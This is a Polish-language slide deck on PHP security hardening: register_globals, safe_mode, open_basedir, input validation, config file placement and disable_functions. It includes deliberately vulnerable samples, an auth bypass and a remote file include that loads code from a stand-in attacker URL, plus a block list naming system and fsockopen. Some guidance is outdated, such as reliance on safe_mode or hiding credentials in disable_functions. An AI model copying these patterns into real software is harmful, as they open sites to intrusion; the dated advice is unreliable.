Kamil Smitkiewicz Bezpieczeństwo w PHP
Opcja register_globals register_globals=Off php.ini (globalnie dla wszystkich plików) register_globals=Off httpd.conf (dla danej domeny) php_admin_value register_globals 0 .htacces (dla poszczególnych katalogów/podkatalogów) php_flag register_globals 0
Opcja register_globals Wyłączenie register_globals eliminuje wiele popularnych ataków na aplikacje napisane w PHP. Przykład wykorzystania słabości register_globals=On: <?php if ($password == ‘admin’) $auth=1; if ($auth==1) print ‘kod’; ?> Wystarczy teraz wywołać skrypt z parametrem $auth=1, żeby otrzymać ‘kod’, np: http://www.strona.com/strona.php?auth=1
Opcja register_globals Jeśli nie możemy ustawić opcji register_globals=Off, to powinniśmy zawsze definiować wartości dla zmiennych nie przekazywanych przez użytkownika, np: <?php $auth=0; if ($password == ‘admin’) $auth=1; if ($auth==1) print ‘kod’; ?>
Tryb safe_mode Korzystanie z safe_mode jest zalecane zawsze, jeśli jest to możliwe. Najważniejszą cechą tego trybu jest to że nie pozwala on na dostęp do plików, których właścicielem jest inny użytkownik, niż właściciel tego skryptu. Zabezpiecza to nas przed odczytem pliku /.../password z poziomu WWW naszego użytkownika.
Tryb safe_mode Poza tym safe_mode posiada wiele mechanizmów zwiększających bezpieczeństwo naszych skryptów, np.: ograniczenie dostępu do zmiennych środowiskowych, ograniczenie uruchomiania programów systemowych z poziomu aplikacji PHP itp.
Tryb safe_mode Przykładowe opcje trybu safe_mode: safe_mode = open_basedir = safe_mode_exec_dir = safe_mode_allowed_env_vars = safe_mode_protected_env_vars = disable_functions =
Tryb safe_mode Opcji safe_mode nie można ustawić na poziomie katalogów w pliku .htacces, można je ustawić w pliku php.ini, lub jeśli chcemy ograniczyć działanie do poszczególnych domen i katalogów, w httpd.conf.
safe_mode i open_basedir Oprócz opcji safe_mode bardzo przydatna jest opcja open_basedir. Pozwala ona na ograniczenie dostępu do plików do określonego katalogu, np. jeśli wstawimy: open_basedir=/home/strona.com to nie będziemy mogli odczytać plików leżących powyżej tego katalogu np.: open_basedir=/home/etc/password
safe_mode i open_basedir Jeśli w systemie mamy włączoną opcję open_basedir i safe_mode, to w pierwszej kolejności sprawdzane są zabezpieczenia open_basedir, a następnie safe_mode. Jeśli natomiast nie możemy stosować safe_mode i open_basedir razem, to w pierwszej kolejności powinniśmy ustawić safe_mode, w ostateczności używamy samego open_basedir.
Raportowanie błędów Przy pisaniu i testowaniu skryptów powinniśmy ustawić odpowiedni poziom raportowania błędów: <?php error_reporting (E_ALL); ?> Otrzymamy wiele przydatnych informacji o prawdopodobnych błędach w naszym skrypcie m.in: o niezdefiniowanych zmiennych itp. Zalecane jest wyłączenie tej opcji w wersjach stablinych skryptów, np. poprzez: error_reporting(1)
Poprawność danych Należy pamiętać aby sprawdzać poprawność wszystkich danych przekazywanych przez użytkownika. W szczególności wartości zmiennych określających nazwy plików wykorzystywanych w poleceniach typu include, require, fopen. Zagadnienie to ilustruje przykładowy skrypt.php:
Poprawność danych <?php $zmienna=$_GET['nazwa_skryptu']; include($zmienna); ?> Wykonanie powyższego skryptu spowoduje dołączenie i wykonanie innego skryptu. Jeżeli użytkownik wywoła skrypt z następującą wartością parametru nazwa_skryptu: www.strona.com/skrypt.php?nazwa_skryptu=www.wlamanie.com/wlamanie.php w rezultacie wykonany zostanie skrypt znajdujący się na obcym serwerze.
Pliki konfiguracyjne Ważne pliki konfiguracyjne, biblioteki itp. należy umieszczać poza głównym katalogiem strony. Przykładowo: dla domeny www.strona.com mamy /home/strona.com/public_html to nasze bibliteki i pliki konfiguracyjne powinniśmy umieścić poza tym katalogiem np. w: /home/strona.com/lib /home/strona.com/config a nie w: /home/strona.com/public_html/lib /home/strona.com/public_html/config
Pliki konfiguracyjne Bardzo często pliki konfiguracyjne mają rozszerzenie ‘.inc’. Wtedy jeśli nasz plik z konfiguracją znajduje się w podkatalogu to wystarczy wywołać adres: http://www.strona.com/config/config.inc aby otrzymać na stronie www pełne dane konfiguracyjne np. dane dostępu do danych: <?php $dbname=‘baza’; $dbuser=‘admin’; $dbpass=‘admin’; ?>
Zapamiętaj Należy przejrzyście budować aplikację, poprawnie formatować kod, dzielić projekt na małe moduły. Przy projektowaniu aplikacji powinniśmy przewidywać najgorsze sytuacje, np. nasza aplikacja powinna sobie radzić z niestandardowymi danymi; ze zmodyfikowaniem wywołania strony, w warunkach, kiedy jest wyłączona baza danych itp.
Dostęp do bazy danych Jeśli korzystamy z bazy danych, to nasza aplikacja musi mieć dostęp do danych dostępu do bazy. Przykładowe metody przekazania danych dostępu: w pliku konfiguracyjnym dane wprowadzane z formularza dane szyfrowane klucz zapisany w pliku konfiguracyjmym klucz zapisany w httpd.conf, powiązanie wartości klucza z lokalizacją skkryptu.
Dostęp do bazy danych Ważne !! Należy pamiętać, aby plik konfiguracyjny nie miał praw czytania dla innych osób niż administrator.
Dostęp do bazy danych Do przekazania klucza wykorzystaliśmy opcję ‘disable_functions’. W aplikacji odczytujemy klucz poprzez wywołanie: <?php $key=ini_get(‘‘disable_functions’’); $user=‘zakodowana_nazwa’; $pass=‘zakodowane_haslo’; $dbname=‘baza’; $user=dekoduj($user, $key); $pass=dekoduj($pass, $key); ?> Otrzymany klucz ma taką własność, że jest dostępny tylko w danej lokalizacji na dysku. Jeśli plik przeniesiemy do innego miejsca, to klucz nie będzie dostępny.
Dostęp do bazy danych Można też użyć uproszczonej wersji przekazania danych dostępu, wykorzystując dodatkowo opcję disable_class: Konfiguracja httpd.conf: php_admin_value disable_functions admin php_admin_value disable_class admin _________________________________________________ <?php $dbname=‘baza’; $dbuser=ini_get(‘‘disable_functions’’); $dbpass=ini_get(‘‘disable_class’’); ?>
Blokowanie niektórych funkcji W pliku php.ini istnieje dyrektywa pozwalająca na zablokowanie niektórych funkcji jak np. phpinfo(), system() czy fopen(). Funkcje, które chcemy zablokować należy oddzielić przecinkami po dyrektywie disable_functions np. disable_functions = phpinfo, system, fopen, fsockopen
Dziękuję za uwagę